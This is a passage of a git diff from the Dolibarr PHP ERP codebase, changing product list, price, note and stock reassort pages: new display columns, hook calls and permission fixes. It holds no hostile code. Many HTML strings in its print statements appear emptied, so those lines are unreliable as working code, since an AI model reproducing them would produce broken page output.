fk_product = ".((int) $obj->rowid); - $sqlp .= " ORDER BY p.date_price DESC, p.rowid DESC, p.price_level ASC"; - $resultp = $db->query($sqlp); - if ($resultp) { - $nump = $db->num_rows($resultp); - $j = 0; - while ($j < $nump) { - $objp = $db->fetch_object($resultp); + // Duration + if (!empty($arrayfields['p.duration']['checked'])) { + print ''; - if (empty($productpricescache[$obj->rowid][$objp->price_level])) { - $productpricescache[$obj->rowid][$objp->price_level]['price'] = $objp->price; - $productpricescache[$obj->rowid][$objp->price_level]['price_ttc'] = $objp->price_ttc; - $productpricescache[$obj->rowid][$objp->price_level]['price_base_type'] = $objp->price_base_type; + if (preg_match('/([^a-z]+)[a-z]$/i', $obj->duration)) { + $duration_value = substr($obj->duration, 0, dol_strlen($obj->duration) - 1); + $duration_unit = substr($obj->duration, -1); + + if ((float) $duration_value > 1) { + $dur = array("i"=>$langs->trans("Minutes"), "h"=>$langs->trans("Hours"), "d"=>$langs->trans("Days"), "w"=>$langs->trans("Weeks"), "m"=>$langs->trans("Months"), "y"=>$langs->trans("Years")); + } elseif ((float) $duration_value > 0) { + $dur = array("i"=>$langs->trans("Minute"), "h"=>$langs->trans("Hour"), "d"=>$langs->trans("Day"), "w"=>$langs->trans("Week"), "m"=>$langs->trans("Month"), "y"=>$langs->trans("Year")); + } + print $duration_value; + print ((!empty($duration_unit) && isset($dur[$duration_unit]) && $duration_value != '') ? ' '.$langs->trans($dur[$duration_unit]) : ''); + } elseif (!preg_match('/^[a-z]$/i', $obj->duration)) { // If duration is a simple char (like 's' of 'm'), we do not show value + print $obj->duration; + } + + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Finished + if (!empty($arrayfields['p.finished']['checked'])) { + print ''; + print $product_static->getLibFinished(); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Weight + if (!empty($arrayfields['p.weight']['checked'])) { + print ''; + print $product_static->weight; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Weight units + if (!empty($arrayfields['p.weight_units']['checked'])) { + print ''; + if ($product_static->weight != '') { + print measuringUnitString(0, 'weight', $product_static->weight_units); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Length + if (!empty($arrayfields['p.length']['checked'])) { + print ''; + print $product_static->length; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Length units + if (!empty($arrayfields['p.length_units']['checked'])) { + print ''; + if ($product_static->length != '') { + print measuringUnitString(0, 'size', $product_static->length_units); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Width + if (!empty($arrayfields['p.width']['checked'])) { + print ''; + print $product_static->width; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Width units + if (!empty($arrayfields['p.width_units']['checked'])) { + print ''; + if ($product_static->width != '') { + print measuringUnitString(0, 'size', $product_static->width_units); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Height + if (!empty($arrayfields['p.height']['checked'])) { + print ''; + print $product_static->height; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Height units + if (!empty($arrayfields['p.height_units']['checked'])) { + print ''; + if ($product_static->height != '') { + print measuringUnitString(0, 'size', $product_static->height_units); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Surface + if (!empty($arrayfields['p.surface']['checked'])) { + print ''; + print $product_static->surface; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Surface units + if (!empty($arrayfields['p.surface_units']['checked'])) { + print ''; + if ($product_static->surface != '') { + print measuringUnitString(0, 'surface', $product_static->surface_units); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Volume + if (!empty($arrayfields['p.volume']['checked'])) { + print ''; + print $product_static->volume; + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Volume units + if (!empty($arrayfields['p.volume_units']['checked'])) { + print ''; + if ($product_static->volume != '') { + print measuringUnitString(0, 'volume', $product_static->volume_units); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Unit + if (!empty($arrayfields['cu.label']['checked'])) { + print ''; + if (!empty($obj->cu_label)) { + print $langs->trans($obj->cu_label); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Default Workstation + if (!empty($arrayfields['p.fk_default_workstation']['checked'])) { + print ''; + if (!empty($obj->fk_default_workstation)) { + $static_ws->id = $obj->fk_default_workstation; + $static_ws->ref = $obj->ref_workstation; + $static_ws->status = $obj->status_workstation; + + print $static_ws->getNomUrl(1); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Sell price + if (!empty($arrayfields['p.sellprice']['checked'])) { + print ''; + if ($product_static->status && $usercancreadprice) { + if ($obj->price_base_type == 'TTC') { + print ''.price($obj->price_ttc).' '.$langs->trans("TTC").''; + } else { + print ''.price($obj->price).' '.$langs->trans("HT").''; + } + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + + // Multiprices + if (!empty($conf->global->PRODUIT_MULTIPRICES)) { + if (! isset($productpricescache)) { + $productpricescache=array(); + } + if (! isset($productpricescache[$obj->rowid])) { + $productpricescache[$obj->rowid] = array(); + } + + if ($product_static->status && $usercancreadprice) { + // Make 1 request for all price levels (without filter on price_level) and saved result into an cache array + // then reuse the cache array if we need prices for other price levels + $sqlp = "SELECT p.rowid, p.fk_product, p.price, p.price_ttc, p.price_level, p.date_price, p.price_base_type"; + $sqlp .= " FROM ".MAIN_DB_PREFIX."product_price as p"; + $sqlp .= " WHERE fk_product = ".((int) $obj->rowid); + $sqlp .= " ORDER BY p.date_price DESC, p.rowid DESC, p.price_level ASC"; + $resultp = $db->query($sqlp); + if ($resultp) { + $nump = $db->num_rows($resultp); + $j = 0; + while ($j < $nump) { + $objp = $db->fetch_object($resultp); + + if (empty($productpricescache[$obj->rowid][$objp->price_level])) { + $productpricescache[$obj->rowid][$objp->price_level]['price'] = $objp->price; + $productpricescache[$obj->rowid][$objp->price_level]['price_ttc'] = $objp->price_ttc; + $productpricescache[$obj->rowid][$objp->price_level]['price_base_type'] = $objp->price_base_type; + } + + $j++; } - $j++; + $db->free($resultp); + } else { + dol_print_error($db); } + } - $db->free($resultp); + foreach ($arraypricelevel as $key => $value) { + if (!empty($arrayfields['p.sellprice'.$key]['checked'])) { + print ''; + if (!empty($productpricescache[$obj->rowid])) { + if ($productpricescache[$obj->rowid][$key]['price_base_type'] == 'TTC') { + print ''.price($productpricescache[$obj->rowid][$key]['price_ttc']).' '.$langs->trans("TTC").''; + } else { + print ''.price($productpricescache[$obj->rowid][$key]['price']).' '.$langs->trans("HT").''; + } + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + } + } + + // Better buy price + if (!empty($arrayfields['p.minbuyprice']['checked'])) { + print ''; + if ($product_static->status_buy && $obj->bestpurchaseprice != '' && $usercancreadprice) { + if ($product_fourn->find_min_price_product_fournisseur($obj->rowid) > 0) { + if ($product_fourn->product_fourn_price_id > 0) { + if ((isModEnabled("fournisseur") && !empty($user->rights->fournisseur->lire) && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) || (isModEnabled("supplier_order") && !empty($user->rights->supplier_order->lire)) || (isModEnabled("supplier_invoice") && !empty($user->rights->supplier_invoice->lire))) { + $htmltext = $product_fourn->display_price_product_fournisseur(1, 1, 0, 1); + print ''.$form->textwithpicto(price($product_fourn->fourn_unitprice * (1 - $product_fourn->fourn_remise_percent / 100) - $product_fourn->fourn_remise).' '.$langs->trans("HT"), $htmltext).''; + } else { + print ''.price($product_fourn->fourn_unitprice).' '.$langs->trans("HT").''; + } + } + } + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Number of buy prices + if (!empty($arrayfields['p.numbuyprice']['checked'])) { + print ''; + if ($product_static->status_buy && $usercancreadprice) { + if (count($productFournList = $product_fourn->list_product_fournisseur_price($obj->rowid)) > 0) { + $htmltext = $product_fourn->display_price_product_fournisseur(1, 1, 0, 1, $productFournList); + print $form->textwithpicto(count($productFournList), $htmltext); + } + } + print ''; + } + + // VAT or Sell Tax Rate + if (!empty($arrayfields['p.tva_tx']['checked'])) { + print ''; + print vatrate($obj->tva_tx, true); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // WAP + if (!empty($arrayfields['p.pmp']['checked'])) { + print ''; + if ($usercancreadprice) { + print ''.price($product_static->pmp, 1, $langs).""; + } + print ''; + } + // Cost price + if (!empty($arrayfields['p.cost_price']['checked'])) { + print ''; + //print $obj->cost_price; + if ($usercancreadprice) { + print ''.price($obj->cost_price).' '.$langs->trans("HT").''; + } + print ''; + } + + // Limit alert + if (!empty($arrayfields['p.seuil_stock_alerte']['checked'])) { + print ''; + if ($product_static->type != 1) { + print $obj->seuil_stock_alerte; + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Desired stock + if (!empty($arrayfields['p.desiredstock']['checked'])) { + print ''; + if ($product_static->type != 1) { + print $obj->desiredstock; + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Stock real + if (!empty($arrayfields['p.stock']['checked'])) { + print ''; + if ($product_static->type != 1) { + if ($obj->seuil_stock_alerte != '' && $product_static->stock_reel < (float) $obj->seuil_stock_alerte) { + print img_warning($langs->trans("StockLowerThanLimit", $obj->seuil_stock_alerte)).' '; + } + if ($usercancreadprice) { + if ($product_static->stock_reel < 0) { print ''; } + print price(price2num($product_static->stock_reel, 'MS'), 0, $langs, 1, 0); + if ($product_static->stock_reel < 0) { print ''; } + } + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Stock virtual + if (!empty($arrayfields['stock_virtual']['checked'])) { + print ''; + if ($product_static->type != 1) { + if ($obj->seuil_stock_alerte != '' && $product_static->stock_theorique < (float) $obj->seuil_stock_alerte) { + print img_warning($langs->trans("StockLowerThanLimit", $obj->seuil_stock_alerte)).' '; + } + if ($usercancreadprice) { + if ($product_static->stock_theorique < 0) { print ''; } + print price(price2num($product_static->stock_theorique, 'MS'), 0, $langs, 1, 0); + if ($product_static->stock_theorique < 0) { print ''; } + } + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Lot/Serial + if (!empty($arrayfields['p.tobatch']['checked'])) { + print ''; + print $product_static->getLibStatut(1, 2); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Country + if (!empty($arrayfields['p.fk_country']['checked'])) { + print ''.getCountry($obj->fk_country, 0, $db).''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // State + if (!empty($arrayfields['p.fk_state']['checked'])) { + print ''; + if (!empty($obj->fk_state)) { + print getState($obj->fk_state, 0, $db); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Accountancy code sell + if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_sell']['checked'])) { + print ''.$product_static->accountancy_code_sell.''; + if (!$i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_sell_intra']['checked'])) { + print ''.$product_static->accountancy_code_sell_intra.''; + if (!$i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_sell_export']['checked'])) { + print ''.$product_static->accountancy_code_sell_export.''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Accountancy code buy + if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_buy']['checked'])) { + print ''.$product_static->accountancy_code_buy.''; + if (!$i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_buy_intra']['checked'])) { + print ''.$product_static->accountancy_code_buy_intra.''; + if (!$i) { + $totalarray['nbfield']++; + } + } + if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_buy_export']['checked'])) { + print ''.$product_static->accountancy_code_buy_export.''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Date creation + if (!empty($arrayfields['p.datec']['checked'])) { + print ''; + print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Date modification + if (!empty($arrayfields['p.tms']['checked'])) { + print ''; + print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Status (to sell) + if (!empty($arrayfields['p.tosell']['checked'])) { + print ''; + if (!empty($conf->use_javascript_ajax) && $user->hasRight("produit", "creer") && !empty($conf->global->MAIN_DIRECT_STATUS_UPDATE)) { + print ajax_object_onoff($product_static, 'status', 'tosell', 'ProductStatusOnSell', 'ProductStatusNotOnSell'); } else { - dol_print_error($db); + print $product_static->LibStatut($product_static->status, 5, 0); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Status (to buy) + if (!empty($arrayfields['p.tobuy']['checked'])) { + print ''; + if (!empty($conf->use_javascript_ajax) && $user->hasRight("produit", "creer") && !empty($conf->global->MAIN_DIRECT_STATUS_UPDATE)) { + print ajax_object_onoff($product_static, 'status_buy', 'tobuy', 'ProductStatusOnBuy', 'ProductStatusNotOnBuy'); + } else { + print $product_static->LibStatut($product_static->status_buy, 5, 1); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; } } - foreach ($arraypricelevel as $key => $value) { - if (!empty($arrayfields['p.sellprice'.$key]['checked'])) { - print ''; - if (!empty($productpricescache[$obj->rowid])) { - if ($productpricescache[$obj->rowid][$key]['price_base_type'] == 'TTC') { - print ''.price($productpricescache[$obj->rowid][$key]['price_ttc']).' '.$langs->trans("TTC").''; - } else { - print ''.price($productpricescache[$obj->rowid][$key]['price']).' '.$langs->trans("HT").''; - } - } - print ''; - if (!$i) { - $totalarray['nbfield']++; + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; } + print ''; + } + print ''; + if (!$i) { + $totalarray['nbfield']++; } } + + print "\n"; } - // Better buy price - if (!empty($arrayfields['p.minbuyprice']['checked'])) { - print ''; - if ($obj->tobuy && $obj->minsellprice != '' && $usercancreadprice) { - //print price($obj->minsellprice).' '.$langs->trans("HT"); - if ($product_fourn->find_min_price_product_fournisseur($obj->rowid) > 0) { - if ($product_fourn->product_fourn_price_id > 0) { - if ((isModEnabled("fournisseur") && !empty($user->rights->fournisseur->lire) && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) || (isModEnabled("supplier_order") && !empty($user->rights->supplier_order->lire)) || (isModEnabled("supplier_invoice") && !empty($user->rights->supplier_invoice->lire))) { - $htmltext = $product_fourn->display_price_product_fournisseur(1, 1, 0, 1); - print ''.$form->textwithpicto(price($product_fourn->fourn_unitprice * (1 - $product_fourn->fourn_remise_percent / 100) - $product_fourn->fourn_remise).' '.$langs->trans("HT"), $htmltext).''; - } else { - print ''.price($product_fourn->fourn_unitprice).' '.$langs->trans("HT").''; - } - } - } - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Number of buy prices - if (!empty($arrayfields['p.numbuyprice']['checked'])) { - print ''; - if ($obj->tobuy && $usercancreadprice) { - if (count($productFournList = $product_fourn->list_product_fournisseur_price($obj->rowid)) > 0) { - $htmltext = $product_fourn->display_price_product_fournisseur(1, 1, 0, 1, $productFournList); - print $form->textwithpicto(count($productFournList), $htmltext); - } - } - print ''; - } - - // VAT or Sell Tax Rate - if (!empty($arrayfields['p.tva_tx']['checked'])) { - print ''; - print vatrate($obj->tva_tx, true); - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // WAP - if (!empty($arrayfields['p.pmp']['checked'])) { - print ''; - if ($usercancreadprice) { - print ''.price($product_static->pmp, 1, $langs).""; - } - print ''; - } - // Cost price - if (!empty($arrayfields['p.cost_price']['checked'])) { - print ''; - //print $obj->cost_price; - if ($usercancreadprice) { - print ''.price($obj->cost_price).' '.$langs->trans("HT").''; - } - print ''; - } - - // Limit alert - if (!empty($arrayfields['p.seuil_stock_alerte']['checked'])) { - print ''; - if ($obj->fk_product_type != 1) { - print $obj->seuil_stock_alerte; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Desired stock - if (!empty($arrayfields['p.desiredstock']['checked'])) { - print ''; - if ($obj->fk_product_type != 1) { - print $obj->desiredstock; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Stock real - if (!empty($arrayfields['p.stock']['checked'])) { - print ''; - if ($obj->fk_product_type != 1) { - if ($obj->seuil_stock_alerte != '' && $product_static->stock_reel < (float) $obj->seuil_stock_alerte) { - print img_warning($langs->trans("StockLowerThanLimit", $obj->seuil_stock_alerte)).' '; - } - if ($usercancreadprice) { - print price(price2num($product_static->stock_reel, 'MS')); - } - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Stock virtual - if (!empty($arrayfields['stock_virtual']['checked'])) { - print ''; - if ($obj->fk_product_type != 1) { - if ($obj->seuil_stock_alerte != '' && $product_static->stock_theorique < (float) $obj->seuil_stock_alerte) { - print img_warning($langs->trans("StockLowerThanLimit", $obj->seuil_stock_alerte)).' '; - } - if ($usercancreadprice) { - print price(price2num($product_static->stock_theorique, 'MS')); - } - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Lot/Serial - if (!empty($arrayfields['p.tobatch']['checked'])) { - print ''; - print $product_static->getLibStatut(1, 2); - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Country - if (!empty($arrayfields['p.fk_country']['checked'])) { - print ''.getCountry($obj->fk_country, 0, $db).''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // State - if (!empty($arrayfields['p.fk_state']['checked'])) { - print ''; - if (!empty($obj->fk_state)) { - print getState($obj->fk_state, 0, $db); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Accountancy code sell - if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_sell']['checked'])) { - print ''.$obj->accountancy_code_sell.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_sell_intra']['checked'])) { - print ''.$obj->accountancy_code_sell_intra.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_sell_export']['checked'])) { - print ''.$obj->accountancy_code_sell_export.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Accountancy code buy - if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_buy']['checked'])) { - print ''.$obj->accountancy_code_buy.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_buy_intra']['checked'])) { - print ''.$obj->accountancy_code_buy_intra.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - if (!empty($arrayfields[$alias_product_perentity . '.accountancy_code_buy_export']['checked'])) { - print ''.$obj->accountancy_code_buy_export.''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Date creation - if (!empty($arrayfields['p.datec']['checked'])) { - print ''; - print dol_print_date($db->jdate($obj->date_creation), 'dayhour', 'tzuser'); - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date modification - if (!empty($arrayfields['p.tms']['checked'])) { - print ''; - print dol_print_date($db->jdate($obj->date_update), 'dayhour', 'tzuser'); - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Status (to sell) - if (!empty($arrayfields['p.tosell']['checked'])) { - print ''; - if (!empty($conf->use_javascript_ajax) && $user->hasRight("produit", "creer") && !empty($conf->global->MAIN_DIRECT_STATUS_UPDATE)) { - print ajax_object_onoff($product_static, 'status', 'tosell', 'ProductStatusOnSell', 'ProductStatusNotOnSell'); - } else { - print $product_static->LibStatut($obj->tosell, 5, 0); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Status (to buy) - if (!empty($arrayfields['p.tobuy']['checked'])) { - print ''; - if (!empty($conf->use_javascript_ajax) && $user->hasRight("produit", "creer") && !empty($conf->global->MAIN_DIRECT_STATUS_UPDATE)) { - print ajax_object_onoff($product_static, 'status_buy', 'tobuy', 'ProductStatusOnBuy', 'ProductStatusNotOnBuy'); - } else { - print $product_static->LibStatut($obj->tobuy, 5, 1); - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Action column - if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { - $selected = 1; - } - print ''; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - print "\n"; $i++; } diff --git a/htdocs/product/note.php b/htdocs/product/note.php index 0d7ad91af5f..8354fa96029 100644 --- a/htdocs/product/note.php +++ b/htdocs/product/note.php @@ -50,17 +50,17 @@ if ($id > 0 || !empty($ref)) { $object->fetch($id, $ref); } -$permissionnote = $user->rights->produit->creer; // Used by the include of actions_setnotes.inc.php +$permissionnote = ($user->rights->produit->creer || $user->rights->service->creer); // Used by the include of actions_setnotes.inc.php if ($object->id > 0) { if ($object->type == $object::TYPE_PRODUCT) { - restrictedArea($user, 'produit', $object->id, 'product&product', '', ''); + restrictedArea($user, 'product', $object->id, 'product&product', '', ''); } if ($object->type == $object::TYPE_SERVICE) { restrictedArea($user, 'service', $object->id, 'product&product', '', ''); } } else { - restrictedArea($user, 'produit|service', $fieldvalue, 'product&product', '', '', $fieldtype); + restrictedArea($user, 'product|service', $fieldvalue, 'product&product', '', '', $fieldtype); } diff --git a/htdocs/product/price.php b/htdocs/product/price.php index d7005fa439a..08757602907 100644 --- a/htdocs/product/price.php +++ b/htdocs/product/price.php @@ -136,6 +136,7 @@ if (empty($reshook)) { $npr = preg_match('/\*/', $tva_tx_txt) ? 1 : 0; $localtax1 = 0; $localtax2 = 0; $localtax1_type = '0'; $localtax2_type = '0'; // If value contains the unique code of vat line (new recommanded method), we use it to find npr and local taxes + if (preg_match('/\((.*)\)/', $tva_tx_txt, $reg)) { // We look into database using code (we can't use get_localtax() because it depends on buyer that is not known). Same in create product. $vatratecode = $reg[1]; @@ -229,7 +230,7 @@ if (empty($reshook)) { $oldnpr = $object->tva_npr; //$localtaxarray=array('0'=>$localtax1_type,'1'=>$localtax1,'2'=>$localtax2_type,'3'=>$localtax2); - $localtaxarray = array(); // We do not store localtaxes into product, we will use instead the "vat code" to retrieve them. + $localtaxarray = array(); // We do not store localtaxes into product, we will use instead the "vat code" to retrieve them when required. $level = 0; $ret = $object->updatePrice($oldprice, $oldpricebasetype, $user, $tva_tx, $oldminprice, $level, $oldnpr, 0, 0, $localtaxarray, $vatratecode); @@ -257,11 +258,12 @@ if (empty($reshook)) { $psq = empty($newpsq) ? 0 : $newpsq; $maxpricesupplier = $object->min_recommended_price(); - if (!empty($conf->dynamicprices->enabled)) { + if (isModEnabled('dynamicprices')) { $object->fk_price_expression = empty($eid) ? 0 : $eid; //0 discards expression if ($object->fk_price_expression != 0) { //Check the expression validity by parsing it + require_once DOL_DOCUMENT_ROOT.'/product/dynamic_price/class/price_parser.class.php'; $priceparser = new PriceParser($db); if ($priceparser->parseProduct($object) < 0) { @@ -463,7 +465,8 @@ if (empty($reshook)) { break; } - if ($object->multiprices[$key] != $newprice || $object->multiprices_min[$key] != $newprice_min || $object->multiprices_base_type[$key] != $val['price_base_type'] || $object->multiprices_tva_tx[$key] != $newvattx) { + // If price has changed, we update it + if (!array_key_exists($key, $object->multiprices) || $object->multiprices[$key] != $newprice || $object->multiprices_min[$key] != $newprice_min || $object->multiprices_base_type[$key] != $val['price_base_type'] || $object->multiprices_tva_tx[$key] != $newvattx) { $res = $object->updatePrice($newprice, $val['price_base_type'], $user, $val['vat_tx'], $newprice_min, $key, $val['npr'], $psq, 0, $val['localtaxes_array'], $val['default_vat_code']); } else { $res = 0; @@ -877,7 +880,7 @@ dol_banner_tab($object, 'ref', $linkback, $shownav, 'ref'); print '
      '; print '
      '; -print ''; +print '
      '; // Price per customer segment/level if (!empty($conf->global->PRODUIT_MULTIPRICES) || !empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY_MULTIPRICES)) { @@ -1000,6 +1003,7 @@ if (!empty($conf->global->PRODUIT_MULTIPRICES) || !empty($conf->global->PRODUIT_ print ''; print ''; + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } print ''; @@ -391,14 +418,20 @@ if ($resql) { $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; - print ''; + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } print ''; - //Line for column titles - print ""; + // Line for column titles + print ''; + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print_liste_field_titre(''); + } print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "p.ref", '', $param, "", $sortfield, $sortorder); print_liste_field_titre("Label", $_SERVER["PHP_SELF"], "p.label", '', $param, "", $sortfield, $sortorder); if (isModEnabled("service") && $type == 1) { @@ -429,7 +462,10 @@ if ($resql) { $parameters = array('param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; - print_liste_field_titre(''); + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print_liste_field_titre(''); + } print "\n"; while ($i < min($num, $limit)) { @@ -440,11 +476,15 @@ if ($resql) { $product->load_stock(); print ''; + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } print ''; - print ''; + print ''; if (isModEnabled("service") && $type == 1) { print ''; } //print ''; - print ''; - print ''; + print ''; + print ''; // Real stock print ''; // Details per warehouse @@ -475,7 +521,7 @@ if ($resql) { if ($nb_warehouse > 1) { foreach ($warehouses_list as &$wh) { print ''; } } @@ -484,17 +530,19 @@ if ($resql) { // Virtual stock if ($virtualdiffersfromphysical) { print ''; } // Units if (!empty($conf->global->PRODUCT_USE_UNITS)) { - print ''; + print ''; } - print ''; @@ -504,7 +552,11 @@ if ($resql) { $parameters = array('obj'=>$objp); $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $product); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; - print ''; + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + print "\n"; $i++; } diff --git a/htdocs/product/reassortlot.php b/htdocs/product/reassortlot.php index f3ad55d526d..d24b5282d11 100644 --- a/htdocs/product/reassortlot.php +++ b/htdocs/product/reassortlot.php @@ -126,6 +126,9 @@ if (!empty($canvas)) { $objcanvas->getCanvas('product', 'list', $canvas); } +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('productreassortlotlist')); + // Security check if ($user->socid) { $socid = $user->socid; @@ -217,17 +220,25 @@ $morecss = array(); $sql = 'SELECT p.rowid, p.ref, p.label, p.barcode, p.price, p.price_ttc, p.price_base_type, p.entity,'; $sql .= ' p.fk_product_type, p.tms as datem,'; $sql .= ' p.duration, p.tosell as statut, p.tobuy, p.seuil_stock_alerte, p.desiredstock, p.stock, p.tosell, p.tobuy, p.tobatch,'; -$sql .= ' ps.fk_entrepot,'; +$sql .= ' ps.fk_entrepot, ps.reel,'; $sql .= ' e.ref as warehouse_ref, e.lieu as warehouse_lieu, e.fk_parent as warehouse_parent,'; $sql .= ' pb.batch, pb.eatby as oldeatby, pb.sellby as oldsellby,'; $sql .= ' pl.rowid as lotid, pl.eatby, pl.sellby,'; $sql .= ' SUM(pb.qty) as stock_physique, COUNT(pb.rowid) as nbinbatchtable'; +// Add fields from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; $sql .= ' FROM '.MAIN_DB_PREFIX.'product as p'; $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_stock as ps on p.rowid = ps.fk_product'; // Detail for each warehouse $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'entrepot as e on ps.fk_entrepot = e.rowid'; // Link on unique key $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_batch as pb on pb.fk_product_stock = ps.rowid'; // Detail for each lot on each warehouse $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_lot as pl on pl.fk_product = p.rowid AND pl.batch = pb.batch'; // Link on unique key -$sql .= " WHERE p.entity IN (".getEntity('product').")"; +// Add table from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +$sql .= " WHERE p.entity IN (".getEntity('product').") AND e.entity IN 